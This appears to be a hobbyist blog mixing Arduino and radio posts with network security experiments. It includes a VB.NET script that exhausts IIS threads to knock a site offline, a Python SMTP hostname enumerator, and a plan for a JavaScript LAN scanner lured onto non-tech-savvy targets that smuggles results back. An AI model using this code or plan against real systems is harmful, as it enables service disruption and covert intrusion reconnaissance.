Configuring an APC220 RF transceiver with Arduino

For some reason every time I look up tools for playing with electronics they end up to be windows based. For the APC220 it wasn’t any different, the only configuration tool I found was the RF-Magic executable. As I don’t run windows at home, and I don’t feel like booting a VM every time I want to configure my RF module I was looking for a way to do this straight from my Arduino.

It took me a while to find good, relevant material, but I finally found a nice Arduino Sketch that does just that. It also includes setting up a Serial communication over two Digital IO pins so you can keep the Arduino connected to your pc. You can get it here.

Below is a sample script that will set up your APC220 to work over 433.9MHz.

Pinout is as follows:

  • 1 SET connected to Arduino Digital 13 (D13)
  • 2 AUX not connected
  • 3 TXD connected to D12
  • 4 RXD connected to D11
  • 5 EN noyt connected
  • 6 VCC connected to 5V
  • 7 GND connected to ground

The Script:

//based on http://www.control.aau.dk/~jdn/edu/doc/arduino/sketchbook/apc220cansat/apc220cansat.ino

#include <SoftwareSerial.h>

const int pinRX = 12;
const int pinTX = 11;
const int pinSET= 13;

SoftwareSerial apc220(pinRX, pinTX); // Crt softserial port and bind
tx/rx to appropriate PINS

void setupSoftAPC(void){
pinMode(pinSET, HIGH);

apc220.begin(9600);
}

void setSettings(void){
digitalWrite(pinSET, LOW); // pulling SET to low will put apc220 in config mode
delay(10); // stabilize please
apc220.println("WR 433900 3 9 3 0"); // ask for data
delay(10);

while (apc220.available()) {
Serial.write(apc220.read());
}
digitalWrite(pinSET, HIGH); // put apc220 back in operation
delay(200);
}
void getSettings(void) {
digitalWrite(pinSET, LOW); // pulling SET to low will put apc220 in config mode
delay(10); // stabilize please
apc220.println("RD"); // ask for data
delay(10);

while (apc220.available()) {
Serial.write(apc220.read());
}
digitalWrite(pinSET, HIGH); // put apc220 back in operation
delay(200);
}

void setup(){
Serial.begin(9600);
setupSoftAPC();
setSettings();
}

void loop(){
apc220.println("Hello World!");
delay(5000);
}

The settings are set by this line

 apc220.println(</code><code>"WR 433900 3 9 3 0"</code><code>);
To configure the APC220 you need to set the SET pin HIGH and then pull it down (set it to LOW). This will put the module in configuration mode. Once it is in configuration mode you can write the configuration to it as displayed in the above example.
The format is
WR Frequency RFDataRate OutputPower UART-Rate Series check
Possible values for all these settings:
  • Frequency: Unit is KHz,for example 434MHz is 434000
  • RF Data Rate: 1,2,3 and 4 refer to 2400,4800,9600,19200bps
  • Output Power: 0 to 9, 9 means 13dBm(20mW)
  • UART Rate: 0,1,2,3,4,5 and 6 refers to 1200,2400,4800,9600, 19200,38400,57600bps
  • Series Checkout: Series checkout:0 means no check,1 means even parity,2 means odd parity.

What constitutes a Denial Of Service Attack?

At the time of writing, the Wikipedia entry for DOS states:

In computing, a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a machine or network resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the efforts of one or more people to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet.

Source: http://en.wikipedia.org/wiki/Denial-of-service_attack

And this seems in line with every Denial Of Service Attack I’ve read about: it’s all about knocking the host offline.

However, when you lock at the term itself: “Denial Of Service”. It indicates that it is an attack whereby you deny users access to a service. Seems straight forward enough, but does one really need to take a service offline to deny users from using it.

Example:

A website offers an online directory where you can search for shops, restaurants, etc.. in your neighbourhood. Shops can register and fill out a little form online where they state their name, address, phone, business hours and more relevant info as such.

So the services offered here are:

  • For shops to make them selves known to potential customers
  • For potential customers to search fo nearby product/service vendors

Now, imagine someone identifies  a security issue with the shops registration form that would allow them to mass registers shops.They then  proceed by registering large numbers of shops/vendors with real looking data.  This would make searching the site for nearby or local shops useless as valid entries would be drowned out by invalid entries.

At this point one might argue that a little database cleanup and fixing the issue with the registration form should suffice. But what if someone, in stead of drowning out valid results, would just insert a fair amount of invalid data. In this manner spiking search results with enough invalid, but real looking, data to make users no longer trust the search results?

In effect, the results, and therefore the services rendered by the site, have become unusable. The host is still online, and people can still connect to it, but they just don’t want to any-more.

Would you call that a Denial Of Service? Or an Introduction Of Disservice?

USB-1100PA 433MHz Wireless RF Transceiver

RF Transceiver

I recently ordered myself a 433mhz USB transceiver. After a few weeks waiting the package arrived from Hong Kong containing a 433MHz USB transceiver… unfortunately the package lacked any manual or driver. The device itself contains only a marking stating “RF Transceiver” but nothing more, no serial number, no vendor name, nothing.

I run Ubuntu on most of my machines and none of them seemed to support the device. My windows Vista box (I know) recognizes the device as I/O device, but nothing more then that, ideally it would be registered as a terminal device so I could talk to it, but nothing.

I’m currently still searching for a good way to get things working, but as I found nothing on the net to help me in my search I thought I would make this little write up so it could help others in their quest to get this device working.

TLDR: Here’s what I found so far.

The ‘specs’ from the reseller’s website:

  • CC1101 chipset
  • 433MHz ISM frequency range
  • Transmit speed: 250Kbps
  • High efficiency MSK modulation
  • Working range: 300~400m in open area
  • Applications: PC to PC data transmission; Build PC to electronic devices wireless remote control system

From the chip itself
NetUSB  1101PA20DBM U3

From a Chinese reseller’s site (yeay google translate)
[Module] NewMsg-NETUSB-1101PA20DBM,
The USB-1100PA wireless communication module, TI-Chipcon CC1101 chip as the main chip,
real USB interface, compact, containing exquisite shell internal amplifier circuit,
remote wireless transceiver can be achieved, suitable for computer wireless remote wireless data collection.
Can easily build a PC-based long-distance wireless communication system

propable developer site
http://www.fytoo.com/home.php

Might be related
https://github.com/robomotic/NorduinoUsb-Adapter-C8051/tree/master/NetUsbDemo4VC6

Current Status

By searching the developpers site for USB1100PA you can locate a chinese ‘manual’, it contains references to a windows based terminal emulator that should be able to talk to the device. I guess reverse engineering this will be my best bet.

Before I started looking around on the net I started of playing with python to talk to the device. It seems to expose only one interface and only two endpoints, one Read, one Write. But I haven’t gotten much further then making the devices light burn. As I have only one device I can’t really tell if it is sending out data or if the reading functionality actually ‘reads’ correct data.

I’ll update this post as I go along. If you have anything to contribute, please leave a comment.

Update1

The , what I think is the vendor, site has the following manual:

http://www.fytoo.com/msg.php?id=158 (pdf download at the bottom)

This specifies the cp210x driver for Vista. , so I followed the procedure as described at http://ubuntuforums.org/showthread.php?p=6851047#post6851047

  • apt-get install build-essential linux-source
  • cp /usr/src/linux-source-3.5.0.tar.bz2 /tmp
  • cd /tmpbunzip2 linux-source-3.5.0.tar.bz2
  • tar xf linux-source-3.5.0.tar
  • cd linux-source-3.5.0
  • cp drivers/usb/serial/cp210x.c drivers/usb/serial/console.c.orig
  • #add product
  • gedit drivers/usb/serial/cp210x.c
  • make oldconfig
  • make prepare
  • make scripts
  • cp /usr/src/linux-headers-3.5.0-22-generic/Module.symvers .
  • make -i M=./drivers/usb/serial
  • cp /lib/modules/3.5.0-22-generic/kernel/drivers/usb/serial/cp210x.ko /lib/modules/3.5.0-22-generic/kernel/drivers/usb/serial/cp210x.ko.orig
  • cp drivers/usb/serial/cp210x.ko /lib/modules/3.5.0-22-generic/kernel/drivers/usb/serial/cp210x.ko
  • modprobe cp210x
  • #reboot
this resulted in (extract from dmesg)
[ 1739.910177] usb 3-2: new full-speed USB device number 
3 using xhci_hcd
[ 1739.927931] usb 3-2: New USB device found, idVendor=10c4, idProduct=8668
[ 1739.927937] usb 3-2: New USB device strings: Mfr=1, Product=2, 
SerialNumber=0
[ 1739.927941] usb 3-2: Product: NETUSB1100 NEWMSG
[ 1739.927944] usb 3-2: Manufacturer: HZWB
[ 1739.930324] cp210x 3-2:1.0: cp210x converter detected
[ 1740.042383] usb 3-2: reset full-speed USB device number 3 using xhci_hcd
[ 1740.058968] xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called 
with disabled ep ffff880210283ec0
[ 1740.058975] xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called 
with disabled ep ffff880210283e80
[ 1740.059427] usb 3-2: cp210x converter now attached to ttyUSB0
[ 1740.078970] cp210x ttyUSB0: cp210x_open - Unable to enable UART
[ 1740.079989] cp210x ttyUSB0: cp210x_open - Unable to enable UART

Arduino UNO

Ordered myself an Arduino starter-kit a couple of weeks ago. I know very little about electronics and wanted to learn some basics. When I say little, I mean next to nothing.

It arrived in the mail Two days ago and today I finally got a chance to play with it. the kit came with a breadboard, a riser card, some cabling, a couple of sensors, etc…

As “Hello World” app I set of to build a little room monitoring device for my son. Being restricted to whatever came in the starter kit I had the following toys at my disposal:

  • a bunch of LED’s
  • a light sensitive resistor
  • a temperature sensitive resistor
  • an LCD Screen
  • a buzzer

All in all, researching all I needed to know, downloading the necessary software, writing the sketch and wiring everything up took me one afternoon. This just goes to show how well thought out and designed the Arduino board is. It’s very straight forward, has a vast community and is completely open source.</end shameless plug>

Now I have to wait for my Raspberry Pi to arrive so I can build myself an HTTP based remote control for my house.

Jenscan: javascript based lan scanner

Made a little poc of the javascript scanner idea:
you can find it on Github

Making a passive network scanner in .NEt (PacketDotNet)

Came across the Packet.NEt the other day, a great interface to capture and dissect network packets in .Net
To test it I made a little passive network scanner that listens for incoming packets and registers ip addresses, hardware addresses and netbios addresses. Must say that I’m quite pleased with this library.

The code below is the code-behind for a form named form1. I marked the form controls red so you can quickly see what you need to add to your form to make this work


Imports SharpPcap
Imports PacketDotNet

Public Class Form1
Public DEVICE_LIST As SharpPcap.WinPcap.WinPcapDeviceList
Public WithEvents DEVICE As SharpPcap.WinPcap.WinPcapDevice

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
LoadDevices()

End Sub

Private Sub LoadDevices()
Try
'laod devices
DEVICE_LIST = SharpPcap.WinPcap.WinPcapDeviceList.[New]
For Each x As SharpPcap.WinPcap.WinPcapDevice In DEVICE_LIST

Me.cmbDevices.Items.Add(x.Description)

Next
Catch ex As Exception
MsgBox("Failed to load Device lsit, exiting", MsgBoxStyle.OkOnly)

Me.Close()
End Try

End Sub

Private Sub cmdStart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdStart.Click

If Me.cmdStart.Text = "Start" Then
Dim loInterface As SharpPcap.WinPcap.WinPcapDevice = Nothing

If Me.cmbDevices.SelectedIndex >= 0 Then
For Each x As SharpPcap.WinPcap.WinPcapDevice In DEVICE_LIST
If x.Description = Me.cmbDevices.Items(Me.cmbDevices.SelectedIndex).ToString Then
loInterface = x
Exit For
End If
Next
End If

If loInterface IsNot Nothing Then
Me.cmdStart.Text = "Stop"
Me.DEVICE = loInterface
Me.DEVICE.Open(SharpPcap.DeviceMode.Promiscuous)
Me.DEVICE.Mode = SharpPcap.WinPcap.CaptureMode.Packets
Me.DEVICE.StartCapture()
Else
MsgBox("Select a valid interface first.", MsgBoxStyle.OkOnly, "Invalid input")
End If
Else
Try
Me.DEVICE.StopCapture()
Me.DEVICE.Close()
Catch ex As SharpPcap.PcapException
'die
End Try

Me.cmdStart.Text = "Start"
End If

End Sub

Private Sub DEVICE_OnPacketArrival(ByVal sender As Object, ByVal e As SharpPcap.CaptureEventArgs) Handles DEVICE.OnPacketArrival

Dim loPacket As PacketDotNet.Packet = PacketDotNet.Packet.ParsePacket(PacketDotNet.LinkLayers.Ethernet, e.Packet.Data)

Dim loIPPacket As PacketDotNet.IpPacket
Dim loEthPacket As PacketDotNet.EthernetPacket

Dim lsIp As String = ""
Dim lsHWAddr As String

loEthPacket = PacketDotNet.EthernetPacket.ParsePacket(LinkLayers.Ethernet, e.Packet.Data)

If loEthPacket.PayloadPacket IsNot Nothing Then
Select Case loEthPacket.PayloadPacket.GetType.ToString

Case "PacketDotNet.ARPPacket"
Dim loArpPacket As PacketDotNet.ARPPacket
loArpPacket = PacketDotNet.ARPPacket.GetEncapsulated(loPacket)
If loArpPacket IsNot Nothing Then ParseEtherNetData(loArpPacket.SenderHardwareAddress.ToString, loArpPacket.SenderProtocolAddress.ToString)
'If loArpPacket IsNot Nothing Then ParseEtherNetData(loArpPacket.TargetHardwareAddress.ToString, loArpPacket.TargetProtocolAddress.ToString)
'skip this, mostly broadcast
Case "PacketDotNet.IPv4Packet"  '"PacketDotNet.TcpPacket"
loIPPacket = loEthPacket.PayloadPacket
If loIPPacket IsNot Nothing Then
If loIPPacket.SourceAddress.AddressFamily = System.Net.Sockets.AddressFamily.InterNetwork Then
ParseEtherNetData(loEthPacket.SourceHwAddress.ToString, loIPPacket.SourceAddress.ToString)
ParseEtherNetData(loEthPacket.DestinationHwAddress.ToString, loIPPacket.DestinationAddress.ToString)
End If

If loIPPacket.PayloadPacket IsNot Nothing Then
If loIPPacket.PayloadPacket.GetType.ToString = "PacketDotNet.UdpPacket" Then
Dim loUDPPacket As PacketDotNet.UdpPacket = loIPPacket.PayloadPacket
Select Case loUDPPacket.SourcePort
Case 53 'dns

Case 138 'netbios datagram
Debug.Print(loUDPPacket.Length & ":" & loUDPPacket.PayloadData.Length)
If loUDPPacket.DestinationPort = 138 Then 'host announcment?
Debug.Print(loUDPPacket.Length & ":" & loUDPPacket.PayloadData.Length)
If loUDPPacket.PayloadData.Length = 201 And CInt(loUDPPacket.PayloadData(0).ToString) = 17 And CInt(loUDPPacket.PayloadData(168).ToString) = 1 Then 'Direct group datagram: host anouncement
Dim loName As String
For i As Integer = 0 To 15
If loUDPPacket.PayloadData(174 + i) <> 0 Then
loName = loName & Chr(CInt(loUDPPacket.PayloadData(174 + i)))
Else
Exit For
End If
Next
ParseEtherNetData(loEthPacket.SourceHwAddress.ToString, loIPPacket.SourceAddress.ToString, loName.Trim)
Debug.Print(loName.Trim)

End If
End If

End Select
End If
End If

End If
Case Else

Debug.Print("### " & loEthPacket.PayloadPacket.GetType.ToString)
End Select
End If

End Sub

Private Sub ParseEtherNetData(ByVal HWaddress As String, Optional ByVal lsip As String = "", Optional ByVal HostName As String = "")
Dim lbExists As Boolean = False
Dim lsMac As String = ""
If HWaddress <> "" Then
For i As Integer = 1 To Len(HWaddress) Step 2
If lsMac <> "" Then lsMac = lsMac & ":"
lsMac = lsMac & Mid(HWaddress, i, 2)
Next
End If

If lsip <> "" Then
For Each xrow As DataGridViewRow In Me.DataGridView1.Rows
If xrow.Cells("IP4Addr").Value = lsip Then
lbExists = True
If lsMac <> "" Then UpdateCell(xrow.Cells("MACAddr"), lsMac)
If HostName <> "" Then UpdateCell(xrow.Cells("Hostname"), HostName)
UpdateCell(xrow.Cells("PacketCount"), CInt(xrow.Cells("PacketCount").Value) + 1)

Exit For
End If
Next
End If

If lbExists = False Then CreateRow(lsip, lsMac, HostName)

End Sub

Delegate Sub CreatRowCallback(ByVal lsip As String, ByVal lsMAc As String, ByVal lsHOst As String)
Private Sub CreateRow(Optional ByVal lsip As String = "", Optional ByVal lsMAc As String = "", Optional ByVal lsHOst As String = "")
If lsMAc = "00:00:00:00:00:00" Or lsMAc = "FF:FF:FF:FF:FF:FF" Then Exit Sub
Try

Dim lRow As New DataGridViewRow
Dim loCellSeen As DataGridViewCell = New DataGridViewTextBoxCell : loCellSeen.Value = Now
Dim loCellIP As DataGridViewCell = New DataGridViewTextBoxCell : loCellIP.Value = lsip
Dim loCellMac As DataGridViewCell = New DataGridViewTextBoxCell : loCellMac.Value = lsMAc
Dim loCellHost As DataGridViewCell = New DataGridViewTextBoxCell : loCellHost.Value = lsHOst
Dim loCellCount As DataGridViewCell = New DataGridViewTextBoxCell : loCellCount.Value = 1

lRow.Cells.Add(loCellSeen) lRow.Cells.Add(loCellIP) lRow.Cells.Add(loCellMac) lRow.Cells.Add(loCellHost) lRow.Cells.Add(loCellCount)
If Me.DataGridView1.InvokeRequired Then
Dim x As New CreatRowCallback(AddressOf CreateRow)
Me.DataGridView1.Invoke(x, {lsip, lsMAc, lsHOst})
Else

Me.DataGridView1.Rows.Add(lRow)
If Me.DataGridView1.SortedColumn IsNot Nothing Then Me.DataGridView1.Sort(Me.DataGridView1.SortedColumn, Me.DataGridView1.SortOrder - 1) 'yes, -1 dumb,asses

End If
Catch ex As Exception
'unload event: die
Debug.Print(ex.Message & vbCrLf & ex.StackTrace)
End Try

End Sub

Delegate Sub UpdateCellCallback(ByVal loCel As DataGridViewCell, ByVal lsVal As String)
Private Sub UpdateCell(ByVal loCel As DataGridViewCell, ByVal lsVal As String)
If Me.DataGridView1.InvokeRequired = True Then
Dim x As New UpdateCellCallback(AddressOf UpdateCell)
Me.DataGridView1.Invoke(x, {loCel, lsVal})
Else
Me.DataGridView1.Rows(loCel.RowIndex).Cells(loCel.ColumnIndex).Value = lsVal
Me.DataGridView1.Rows(loCel.RowIndex).Cells("Seen").Value = Now

If Me.DataGridView1.SortedColumn IsNot Nothing Then Me.DataGridView1.Sort(Me.DataGridView1.SortedColumn, Me.DataGridView1.SortOrder - 1)
End If
End Sub

End Class

IIS: the danger of slow webservices (on Integrated authentication).

During the investigation of IIS crashes on a customers site I came across some articles detailing the Max amount of threads a worker process can hold. I also learned that a normal request to a web-service takes 2 threads, one running over NTLM authentication takes four.

So in the process of reproducing the issue I came across the following issue: If/when you have a slow web-service running (i.e: it takes the web-service a long time to respond) and the whole site running under a application pool with one single worker process it is trivial to exhaust the threads and effectively keep it too occupied to handle requests from other users.

In the .NET example below service.slowpoke is the webservice.  Please note that while this code will take the site offline, it has almost no impact on the client machine running the code.

Module Module1
    Private loTime(499) As Timers.Timer
    Private resultCount As Integer = 0
    Private startCount As Integer = 0
    Sub Main()
        Console.Clear()
        Exhaust()

        Console.ReadLine()
    End Sub

    Private Sub Exhaust()
        For Each i As System.Timers.Timer In loTime
            i = New System.Timers.Timer(500)
            AddHandler i.Elapsed, AddressOf TikTok
            startCount = startCount + 1
            i.Start()
            PrintResult()
        Next
    End Sub

    Private Sub TikTok(ByVal o As Object, ByVal e As System.EventArgs)
        Dim x As System.Timers.Timer = CType(o, System.Timers.Timer)
        x.Enabled = False
        Dim loobj As New serice.slowpoke

        Dim lsStrSlow As String = loobj.SLowpoke
        resultCount = resultCount + 1
        PrintResult()
    End Sub

    Sub PrintResult()
        Console.Clear()
        Console.WriteLine("Initialised " & startCount)
        Console.WriteLine("Finished " & resultCount)
    End Sub
End Module

SMTP servers and DNS

Have you ever noticed that when you send a HELO <hostname> command to a SMTP server, and you just type random characters for the host name it takes quite some time for the SMTP server to respond? The reason for this is that some mail servers  actually perform a dns lookup of the name you specified. It gets even better, I’ve found mail servers that also do this for internal host-names…

So, I decided to make a little host-name scanner:

from socket import *

def checkhost(hostname, sck):
   try:
      data=sck.recv(1024)
      cmd_helo= 'helo ' + hostname +'\r\n'
      cmd_rset= 'rset\r\n'
      sck.settimeout(1)
      sck.send(cmd_helo.encode('utf-8'))
      data=sck.recv(1024)
      if data:
         print(hostname)
      sck.send(cmd_rset.encode('utf-8'))
   except: return 0

#end def

s = socket(AF_INET, SOCK_STREAM)
s.connect(("name of mailserver here",25))
s.settimeout(5)
data=s.recv(1)

#scan
hosts = open('D:\Own_development\Python\SIDScan.lst').read()
hosts.replace('\r','\n')
hosts.replace('\n\n','\n')
for lohost in hosts.split('\n'):
   checkhost(lohost,s)

#end for

Detecting network scans via arp requests

#little poc that traps arp requests to detect network scans
#requires tshark and of course: python

 

import os
from datetime import datetime

#def (seen, mac, ip, requestcount, answercount)
def validate_networkscan(item, arr):
    result = -1
    for i in arr:
        if (i[0]==item[0] and i[1]==item[1] and item[1]== ‘0x0001’):
            timediff= item[5]-i[5] #return time since last seen
            if(timediff.seconds<=3):
                i[6]=i[6] + 1 #update counter
                result = i[6]
            else: i[6] = 1 #reset counter
            for field in range(0,5): i[field]=item[field]
        
    
    if (result==-1): arr.append(item)
    return result

def sink(interface):
    tshark = os.popen(‘tshark -i ‘+ interface + ‘ -f arp -T fields -e arp.src.proto_ipv4 -e arp.opcode -e arp.dst.proto_ipv4 -e eth.src -e eth.dst -E separator=#’)
    hits_scanner=[]
    while 1:
        stdout = tshark.readline().replace(‘\n’,”)
        if not stdout: break
        arp_info = stdout.split(‘#’)
        arp_info.append(datetime.now())
        arp_info.append(0)
        if (len(arp_info)==7):
            attack_count=validate_networkscan(arp_info,hits_scanner)
            if (attack_count == 25):
                print arp_info[0]+ ”   is scanning “
            
                
    

sink(“wlan0”)

So you want to build a Javascript based network scanner

OK, first of: the idea is not exactly original, and it has been tried and tested over the years. You’ll find posts/blogs everywhere of people that made JavaScript scanners before. Soon you will learn that most seem to be works in progress or are abandoned entirely. Most of them are also quite limited, mostly scanning default ip addresses of networked devices, or exploiting a single device on a LAN.

There’s a good reason why they all seem to be rudimentary and unfinished: this method of scanning is crude, loud and slow.  And I presume that’s why most of them abandon this project. You might say they are coming to their senses, I’d rather call it lack of vision. :)

So, being the stubborn man that I am, and never taking other peoples opinions for granted, I started weighing the pro’s and con’s. Below you’ll find what I’ve come up with so far. Any feedback on the matter is more then welcome.

How it works: the basics

You send  a link to a specially crafted web page to a user on the target LAN, this page contains a JavaScript that tries to load a set of images. But instead of your average image pre-loading script, this script doesn’t retrieve images from your site in the background, but rather scans certain internal ip addresses for known image file locations.

Image you have a canon network printer that has a web interface, and it runs on http://192.168.0.5/ . On it’s page is the Canon logo, and it is located at http://192.168.0.5/images/canon_logo.png.
If you were to add a script that loads this image on your page, I could (mis)use the images on-load and on-error event handles to check if there is such an image, and therefore such a device on your LAN. All that is left then is smuggle the result back out to you and thus end up with a rudimentary scanner.

Problem1 : It’s slow

Let’s say you wanted to scan an internal network range 192.168.0.0/24, for a list of 100 possible devices (i.e.: 100 known file locations). , you end up with 25400 possible requests. Most approaches I found just loop through the image list for each ip in the range. This takes quite some time and often results in a heavy burden on the browser’s memory usage. So, how can we limit the number of requests?

Speeding things up

One of the first things we could/should do to speed things up is quite obvious: image list optimisation.
There’s no need to scan all ip’s for all images. If you find an image on a certain address there is probably no reason to scan for the other images as well, it’s highly unlikely that a host returning a hit for a specific canon image is also going to yield one for a DLINK device. So, your scanner should stop looping through the list once it gets a hit.
To make the most of this, it would be wise to order your list in order of occurrence. Meaning, that if a device x is more popular (as in: sold and used more often) then device y, it should be placed higher in the list. By optimising your image list this way you might reduce your scanning time drastically.

It doesn’t have to end there though. You could also make your image list dynamic.
Companies often tend to buy material from the same vendor. So, if you find a canon printer, it is likely that there are others. So, it might be beneficial to move the canon printer images  up in your list for other devices as well.
Another consideration you might make is, if you are scanning with the intent of exploiting a certain device type, to remove an image from the scan-list for other hosts if you have found a hit for the image on a certain host (opting to do a more profound scan from the exploited machine).

I also found that most scanners tend to focus on the originality of the file name/location. But why not go for generic images?
Lets say you compiled a list for different router types of the same vendor, and you have done this for 4 router vendors. You could loop through all these images trying to get a hit, but you end up trying possible hundreds of requests per host, with just one possible correct one.
So, in stead of looping through specific, per device, images, why not go through the most generic ones first? Imagine all devices of brand a have the brands logo on their page, and it always has the same name/path. Scanning for this image first will already give you a hit for the brand, eliminating the need to scan for devices of another brand.
You can even go further with this. When scanning through an ip-range, it could first go through a very small list of images first: [welcome.png, pagerror.gif, favicon.ico]
Welcome.png will return hits on IIS7 servers, no need to scan for other networked devices on this ip, seeing very little (I know of none actually) run an IIS7 web-server.
(depending on your scanning reason this might trigger a scan for other exploits in common web app packages?)
pagerror.gif: yields hits for IIS6
favicon.ico is often used. Once you know that this image is there /not there, you can load image lists for devices that share this trait (i.e.: having a favicon or not).
Which brings me to the next point.

Use what you have: most scanners seems to focus on originality of the file-names, but their might be other information equally valuable, especially when you use the scanning for generic images route. The other properties at your disposal in the image object include height/width. If you have 2 different devices that have the same imagepath/name that contains a different image, you can obtain the correct result by checking it’s size. Reducing the amount of http requests to obtain the same result.

Seeing the equation of total amount of requests is ipaddresses*imagelist you should therefor also consider optimising your ip list. This means it might a good idea to first figure out the subnet ranges of your target and configure the scanner accordingly. It’s also advisable to build in a mechanism for reporting dead/non responsive hosts.
I’m currently still trying to figure out the best way to do that (see paragraph below: Playing with onerror event timing)

Problem2: It’s loud

The loudness is for me the biggest downside of this type of scans. When running tests I kept being annoyed by login pop-ups from devices that require basic or ntml authentication. I can’t think of a way to circumvent this and it is dead sure to trigger suspicion on a tech savvy target. There are however some techniques you might employ to minimise this nuisance:

register your image load times: if it takes user interaction to cancel/close those pop-ups, meaning that it takes longer before your image load activity either works or generates an error. you could omit further scans on these hosts/ips if a response time passes a certain limit (i.e. 4 seconds).
choose your target wisely: if they run internet explorer with default settings, ntlm authentication will not trigger a pop-up if the host is identified as being in the same LAN. Pick a target that is not too tech savvy either.

Another thing that bothers me, but isn’t tied to just JavaScript LAN scanners is that the addresses need to be resolved to hardware addresses, this results in a high increase in arp broadcast requests from your targets machine, this is noise that is easily picked up. (Although I’m surprised to say that my AV from a certain well known vendor sees no harm in this at all…)

not very stealthy

arp requests from scan

Playing with onerror event timing

As mentioned before a good scanner should quickly identify dead hosts (not online, or no http server running) and omit these hosts from further scanning. I’m still not sure on the best way to do this, but was thinking about some sort of timing to identify dead ends.

Currently I’m thinking about arp as a  possible candidates for the job:
ARP request retries
: I need to test this on other machines, but on my Ubuntu, several arp requests are tried, always with 1 second in between. The calling routine is always sent  a “no host found” error after 3 tries (although it tries a few more arp requests after that). When calling image.src=”http://non_assigned_ip/idonexist.jpg&#8221; I consistently got a trigger of the on-error event after 3 seconds.

This as opposed when I tried to connect to a machine that was enabled,but tried on the wrong port. When trying to load http://ip_that_does_Exist:88/idontexist.jpg, the on-error event was fired within less then a second. Port 88 wasn’t enabled on that host so the TCP connection failed.
From this I can already surmise that if my image loading routing fires an error in less then 3 seconds that the ip address is in use. Please note that assume an ip is not in use with 3 seconds error intervals might be a bit too much as this might be due to server and network load.
Conclusion: is it worth it?

I’m still not sure. Seeing the scanning engine will run on a web page, you will need to take in account how long you can keep the target on your page. In the end, the consideration you will have to make is: What result am I expecting from my scan, how much time will it take this method of scanning to reach objective and how much time do I at my disposal?